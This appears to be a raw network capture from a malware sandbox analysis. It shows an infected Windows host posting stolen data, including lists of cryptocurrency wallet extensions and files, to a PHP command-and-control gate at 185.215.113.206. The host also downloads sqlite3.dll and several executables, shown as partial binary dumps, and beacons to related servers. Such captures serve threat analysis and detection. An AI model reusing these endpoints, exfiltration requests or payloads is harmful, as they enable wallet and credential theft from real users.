Nov 19, 2024 22:07:28.820904970 CET	1289	IN	Data Raw: 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 64 68 62 47 78 6c 64 48 78 68 61 57 6c 6d 59 6d 35 69 5a 6d 39 69 63 47 31 6c 5a 57 74 70 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 Data Ascii: nwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2Nv
Nov 19, 2024 22:07:28.820915937 CET	1289	IN	Data Raw: 52 6b 5a 6d 4a 6a 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a Data Ascii: RkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb
Nov 19, 2024 22:07:28.821083069 CET	1289	IN	Data Raw: 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d 78 68 61 57 4a 6a 62 6d 4e 73 5a 32 74 38 4d 58 77 77 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 Data Ascii: BcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG
Nov 19, 2024 22:07:28.821274042 CET	1289	IN	Data Raw: 64 57 78 30 66 47 6c 6e 61 33 42 6a 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 Data Ascii: dWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWp
Nov 19, 2024 22:07:28.821285963 CET	899	IN	Data Raw: 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 52 38 62 32 4e 71 5a 48 42 74 62 32 46 73 62 47 31 6e 62 57 70 69 59 6d 39 6e 5a 6d 6c 70 59 57 39 6d 63 47 68 69 61 6d 64 Data Ascii: nBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8
Nov 19, 2024 22:07:28.822499037 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJJJDHDGDAAKECAKJD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 35 39 61 65 34 30 66 34 35 32 35 39 35 34 32 32 65 33 65 61 63 32 39 63 33 36 33 34 63 39 61 31 36 66 64 32 39 30 33 34 37 66 36 35 36 31 31 66 37 36 35 36 36 31 31 30 66 66 64 65 61 62 37 34 65 66 39 36 39 34 63 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 2d 2d 0d 0a Data Ascii: ------CBKJJJDHDGDAAKECAKJDContent-Disposition: form-data; name="token"359ae40f452595422e3eac29c3634c9a16fd290347f65611f76566110ffdeab74ef9694c------CBKJJJDHDGDAAKECAKJDContent-Disposition: form-data; name="message"fplugins------CBKJJJDHDGDAAKECAKJD--
Nov 19, 2024 22:07:29.032525063 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:28 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 19, 2024 22:07:29.051570892 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECAFHJEGCFCBFIEGCAE Host: 185.215.113.206 Content-Length: 6907 Connection: Keep-Alive Cache-Control: no-cache
Nov 19, 2024 22:07:29.051636934 CET	6445	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 35 39 61 65 34 Data Ascii: ------JECAFHJEGCFCBFIEGCAEContent-Disposition: form-data; name="token"359ae40f452595422e3eac29c3634c9a16fd290347f65611f76566110ffdeab74ef9694c------JECAFHJEGCFCBFIEGCAEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 19, 2024 22:07:29.259270906 CET	462	OUT	Data Raw: 6f 4a 63 48 5a 48 63 55 56 32 5a 31 64 76 51 57 56 53 52 6d 31 4f 56 31 68 6f 53 6d 68 4d 64 45 74 70 56 43 35 6c 65 47 55 4b 43 58 42 32 52 33 46 46 64 6d 64 58 62 30 46 6c 55 6b 5a 74 54 6c 64 59 61 45 70 6f 54 48 52 4c 61 56 51 75 5a 58 68 6c Data Ascii: oJcHZHcUV2Z1dvQWVSRm1OV1hoSmhMdEtpVC5leGUKCXB2R3FFdmdXb0FlUkZtTldYaEpoTHRLaVQuZXhlCglwdkdxRXZnV29BZVJGbU5XWGhKaEx0S2lULmV4ZQoJcHZHcUV2Z1dvQWVSRm1OV1hoSmhMdEtpVC5leGUKCXB2R3FFdmdXb0FlUkZtTldYaEpoTHRLaVQuZXhlCglwdkdxRXZnV29BZVJGbU5XWGhKaEx0S2lUL
Nov 19, 2024 22:07:31.583446026 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 22:07:31.588437080 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 22:07:31.946842909 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 22:07:32.155143023 CET	1289	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70#N [TRUNCATED]
Nov 19, 2024 22:07:32.155153990 CET	1289	IN	Data Raw: 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 50 03 00 00 00 20 0f 00 00 04 00 00 00 8e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: R@B/92P @B
Nov 19, 2024 22:07:32.362940073 CET	1289	IN	Data Raw: f8 01 77 8c e8 23 fd ff ff 83 ec 0c 85 c0 74 bf 89 7c 24 08 89 5c 24 04 89 34 24 e8 ac f6 0a 00 83 ec 0c 85 c0 89 c5 75 23 83 fb 01 75 a1 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 ea fc ff ff 83 ec 0c eb 8a 90 8d 74 26 00 83 fb 01 75 70 e8 Data Ascii: w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	50016	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:28.280633926 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 34 39 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007498001&unit=246122658369
Nov 19, 2024 22:07:28.495870113 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:07:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	50019	185.215.113.16	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:28.705231905 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 19, 2024 22:07:28.915600061 CET	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:07:28 GMT Content-Type: application/octet-stream Content-Length: 922624 Last-Modified: Tue, 19 Nov 2024 21:00:00 GMT Connection: keep-alive ETag: "673cfc50-e1400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 48 fc 3c 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELH<g"dw@p@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B [TRUNCATED]
Nov 19, 2024 22:07:28.915613890 CET	1289	IN	Data Raw: 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 e8 83 f0 01 00 59 c3 e8 e6 de 01 00 68 f8 23 44 00 e8 72 f0 01 00 59 c3 e8 59 3c 00 00 68 fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 00 e8 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^
Nov 19, 2024 22:07:28.915755987 CET	1289	IN	Data Raw: 04 00 8b 4f d4 85 c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c Data Ascii: Ou3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY94
Nov 19, 2024 22:07:28.915771008 CET	1289	IN	Data Raw: 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f 5e 5b 75 0d c6 40 10 00 5d c2 08 00 8b 7f 38 eb d2 8b 40 38 eb ee 33 c0 c7 05 80 18 4d 00 64 00 00 00 33 c9 66 a3 32 15 4d 00 41 a2 34 15 4d Data Ascii: {u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]UVuWVgFO GFG
Nov 19, 2024 22:07:28.915786028 CET	1289	IN	Data Raw: 57 8b f1 e8 4e 00 00 00 85 c0 78 38 8b 4f 04 8b 45 f8 8b 04 81 66 83 78 08 7f 0f 85 33 08 04 00 80 7d ff 00 8d 8e 64 01 00 00 75 1e 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 16 8b 49 04 8b 45 0c 41 89 08 5f 5e c9 c2 08 00 e8 de 08 00 00 eb f3 8b Data Ascii: WNx8OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3M^At)ttH9AxUSVu3Wy
Nov 19, 2024 22:07:28.915798903 CET	1289	IN	Data Raw: 5d fc 47 e8 ed 03 00 00 8b 85 70 ff ff ff 89 45 c0 8b 55 f8 e9 8a fe ff ff 8b 41 04 6a 7f 59 66 39 48 08 0f 85 bc 05 04 00 8b 45 fc 48 4f 83 bd 6c ff ff ff 00 89 45 fc 0f 84 83 03 04 00 80 bd 75 ff ff ff 00 8b 45 c0 0f 85 7b 03 04 00 8b 18 8d 8d Data Ascii: ]GpEUAjYf9HEHOlEuE{lepEE;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEu
Nov 19, 2024 22:07:28.915819883 CET	1289	IN	Data Raw: 89 51 20 89 51 28 c3 55 8b ec 8b 45 08 85 c0 0f 8f 88 01 04 00 83 7d 0c 00 0f 85 a9 01 04 00 83 7d 10 00 75 34 83 7d 14 00 0f 85 b8 01 04 00 83 7d 18 00 0f 85 b7 01 04 00 83 7d 1c 00 0f 85 b6 01 04 00 83 7d 20 00 75 19 83 7d 24 00 0f 85 7e 01 04 Data Ascii: Q Q(UE}}u4}}}} u}$~3] jjwsjjsjUVF}^W3jZQL>3YNF~F<BN$;\|SA23~,FDMEuNGA;\|u[_F
Nov 19, 2024 22:07:28.916062117 CET	1289	IN	Data Raw: c2 10 00 55 8b ec 83 ec 74 53 56 33 db 8d 4d 94 57 89 5d 90 e8 14 7b 00 00 ff 75 08 8d 4d 90 c7 45 a4 34 cc 49 00 89 5d a8 89 5d ac 89 5d b0 88 5d b4 e8 78 1c 00 00 8b 4d 0c be 18 14 4d 00 8a 45 b4 88 01 8b ce e8 db 0b 00 00 68 9c ca 49 00 8d 4d Data Ascii: UtSV3MW]{uME4I]]]]xMMEhIM'nj5MM]]]& ]MiVMzEPM@hIMmSjEPEP/yMihtIME]EmSSEPEPxME
Nov 19, 2024 22:07:28.916075945 CET	1289	IN	Data Raw: 7e 04 00 75 0d 89 4e 04 ff 06 89 4e 08 5e 5d c2 04 00 8b 46 08 89 48 04 eb ee 55 8b ec b8 04 00 01 00 e8 ec eb 03 00 56 8d 45 fc 8b f2 50 8d 85 fc ff fe ff 50 68 ff 7f 00 00 ff 31 ff 15 68 c3 49 00 8b 45 fc 85 c0 74 05 33 c9 66 89 08 8d 8d fc ff Data Ascii: ~uNN^]FHUVEPPh1hIEt3fP7^VVYtf\|F\u3fLF^UVW3FO;Qu_^]USVWueYN3C;FPiq?PFuCP
Nov 19, 2024 22:07:28.916085005 CET	1289	IN	Data Raw: 68 b4 03 00 00 33 db c7 44 24 14 a8 03 00 00 8d 44 24 18 8b f1 53 50 e8 de ea 01 00 83 c4 0c 39 9e 98 01 00 00 75 0b a1 e4 13 4d 00 89 86 98 01 00 00 39 9e a4 01 00 00 75 11 a1 e8 13 4d 00 89 86 a4 01 00 00 89 86 a8 01 00 00 39 9e b0 01 00 00 75 Data Ascii: h3D$D$SP9uM9uM9uMSW[Md$$D$F@D$D$D$ qD$$=hMD$PjIhM_^[]U=hMV
Nov 19, 2024 22:07:29.122833967 CET	1289	IN	Data Raw: 39 18 74 44 8b 01 6a 03 ff 10 ff 77 14 e8 b3 c0 01 00 59 8d 4f 18 89 5f 08 89 5f 0c 89 5f 10 89 5f 14 89 5f 4c 66 89 1f e8 64 2a 00 00 8d 4f 28 e8 7a da ff ff 39 5f 58 0f 87 f6 f6 03 00 8d 4f 50 5f 5b e9 3e da ff ff 50 e8 77 c0 01 00 59 eb b9 55 Data Ascii: 9tDjwYO_____Lfd*O(z9_XOP_[>PwYUS]EVWhA@~7jV&tQWYY_^[]VWj^$MZu MMrZMhZM^ZMTZMJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	50023	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:34.872750044 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 34 39 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007499001&unit=246122658369
Nov 19, 2024 22:07:35.084080935 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:07:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	50025	185.215.113.16	80	8060	C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:35.172451019 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 19, 2024 22:07:35.381371975 CET	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:07:35 GMT Content-Type: application/octet-stream Content-Length: 2766848 Last-Modified: Tue, 19 Nov 2024 21:00:30 GMT Connection: keep-alive ETag: "673cfc6e-2a3800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2a 00 00 04 00 00 f8 f9 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ `Ui` @ @.rsrc`2@.idata 8@ihewwctv)):@macjzflx @.taggant@"@ [TRUNCATED]
Nov 19, 2024 22:07:35.381438017 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:07:35.381462097 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:07:35.381484985 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:07:35.381508112 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:07:35.381531954 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:07:35.381572962 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:07:35.381613016 CET	1289	IN	Data Raw: c4 bf bc fc ff f0 5f 7d 5f 99 c2 51 0b d7 d6 75 9e 89 7f 36 3d 28 8c f4 83 91 2a 97 2e 72 8e f3 fb 16 f3 cc b9 21 6b 2a 6a fd 0c 08 c4 84 bc 18 5a 26 b4 0b ec fc 40 6c e2 86 6c e8 1e 72 bb 37 4f 81 9c ab 60 00 b0 e6 83 7f 10 f2 9c 39 a3 ce b5 fa Data Ascii: _}_Qu6=(.r!kjZ&@llr7O`9u~Nr~*m<~@H\\|17d0A`3jdh}Kr$?,2JSXiL2]Qwk)ugHd9$k2x+h(Fkyx.ueGvtsXz
